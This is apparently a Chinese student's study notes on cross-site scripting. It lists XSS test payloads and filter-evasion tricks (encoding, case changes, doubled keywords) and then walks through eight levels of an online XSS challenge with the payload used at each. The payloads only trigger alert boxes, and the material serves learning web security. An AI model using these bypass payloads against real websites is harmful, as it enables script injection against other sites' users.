题记:
今天老师也出了三道题,但是对于XSS而言题目数量少,较难组织成规律,因此找了这个在线网址可实现在线做题。
思路:
做题以前先理顺一下思路,首先传统语句测试
//script脚本风格
<script>alert(1)</script>
<script>window.data = alert(1)</script>(意义不大)
//img标签
<img src="" onerror=alert(1);>
//href链接
<a href="javascript:alert(1)">click here</a>
//input形式
<input onfocus="alert(1);" autofocus>
//svg形式
<svg onload=alert(1);>
//iframe标签
<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss');></iframe>
//textarea标签
<textarea onfocus=alert("xss"); autofocus>
其次绕过方式,关键字绕过
//空格绕过,用/代替空格
<img/src="x"/onerror=alert("xss");>
//大小写绕过
<ImG sRc=x onerRor=alert("xss");>
//双写关键字
<imimgg srsrcc=x onerror=alert("xss");>
//字符拼接
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> <script>top["al"+"ert"](`xss`);</script>
再然后,编码绕过
//Unicode绕过
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
//url编码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
//ASCII码
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
//Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
//Base64编码
<img src="x" onerror="eval(atob('YWxlcnQoJ3hzcycp'))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
再再然后,特殊字符过滤绕过
//过滤括号,当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
//过滤双引号,单引号只能使用反引号
<img src=1 onerror=alert`1`;>
还有特殊情况
一:js事件
当某个位置的可控点在一个标签内,那么或许可以通过js事件来完成xss操作
二:混淆:利用html标签格式的不严格、容错性。
关键字中加空格
加TAB
回车
最后,留待补充
1st: οnclick=alert(1)
第一关
题目:
解题:
没有输入框,地址上出现name=test字样,尝试输入弹窗代码测试
payload:
https://xss.tesla-space.com/level1.php?name=<script>alert(1)</script>
第二关
题目:
解题:
有搜索框,尝试输入无果,右键查看源代码
<input name=keyword value="<script>alert(1)</script>">
//构造paylod,需要注意一是闭合语句,二是凑XSS语句
闭合需要">,因此构造payload
"><script>alert(1)</script>
第三关
题目:
解题:
尝试输入上一关的payload(纯粹是因为既有闭合又能测试,特别省事)">,发现无法弹窗,右键查看源代码
代码分析:
<input name=keyword value='"><script>alert(1)</script>'>
//代码将<>进行了编码,且应是通过'闭合而不是"
构造payload:
'onclick='alert(1)
第四关
题目:
解题:
同样的输入上一关的payload,'onlick='alert(1),进不去,右键源代码
嗐,又变成"了,修改再次注入,get
payload:
"onclick="alert(1)
第五关
题目:
解题:
测试一下,"οnclick="alert(1),右键源代码
代码分析:
<input name=keyword value=""o_nclick="alert(1)">
//on被替换成了o_n,可尝试其他不带on的语句
初步筛选后,不带on的就<script>
、href
、iframe
然后再进一步测试发现cr被替换成c_r,iframe并不能用,他会把弹窗内容改成自己输入的,最后只有href
payload:
"><a href="javascript:alert(1)">click here</a>
第六关
题目:
解题:
上一题"><a href="javascript:alert(1)">click here</a>
,右键代码
代码分析:
<input name=keyword value=""><a hr_ef="javascript:alert(1)">click here</a>">
//href被替换为hr_ef
筛选合适的语句格式,"onclick="alert(1)
发现on变成了o_n,"><script>alert(1)</script>
变成了sc_ript,发现没有其他语句了,只能考虑其他方式,如大小写绕过
payload:
"><a HREF="javascript:alert(1)">click here</a>
第七关
题目:
解题:
上一题的payload:"><a HREF="javascript:alert(1)">click here</a>
右键源代码
代码分析:
<input name=keyword value=""><a ="java:alert(1)">click here</a>">
//href和script没了!双写不解释
payload:
"><a hrhrefef='javascripscriptt:alert(1)'>click here</a>
//这个题稍微有些问题,去掉click here可能在下面点击链接,而且需要将"改为'
第八关
题目:
解题:
上上一关的payload"><a href="javascript:alert(1)">
右键源代码
代码分析:
<input name=keyword value=""><a href="javascript:alert(1)">">
//发现">被转成url编码了
</center><center><BR><a href=""><a hr_ef="javascr_ipt:alert(1)">">
//且本身就有a href=" 因此仅需要添加后面内容即可
payload:
javascript:alert(1)
//javascript:alert(1)的html编码